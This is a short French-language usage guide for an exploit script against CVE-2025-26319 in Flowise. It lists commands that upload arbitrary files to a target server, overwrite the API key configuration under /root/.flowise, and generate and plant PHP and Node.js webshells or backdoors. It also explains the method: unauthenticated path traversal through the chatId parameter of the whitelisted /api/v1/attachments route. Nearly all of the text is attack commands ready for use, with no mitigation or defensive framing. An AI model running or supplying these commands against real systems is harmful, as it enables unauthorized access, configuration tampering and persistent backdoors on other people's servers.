CVE-2025-26319

1. Téléchargement de fichier de base python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. Téléchargement d'un fichier de configuration

Modifier la configuration de la clé API

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Génération et téléchargement automatiques d'une webshell

Télécharger une webshell PHP

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Télécharger une porte dérobée Node.js

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

Principe d'attaque Utiliser la route /api/v1/attachments qui est dans la liste blanche, sans nécessiter d'authentification Manipuler le paramètre chatId pour effectuer un path traversal (../../../) Télécharger un fichier arbitraire à n'importe quel endroit du système de fichiers du serveur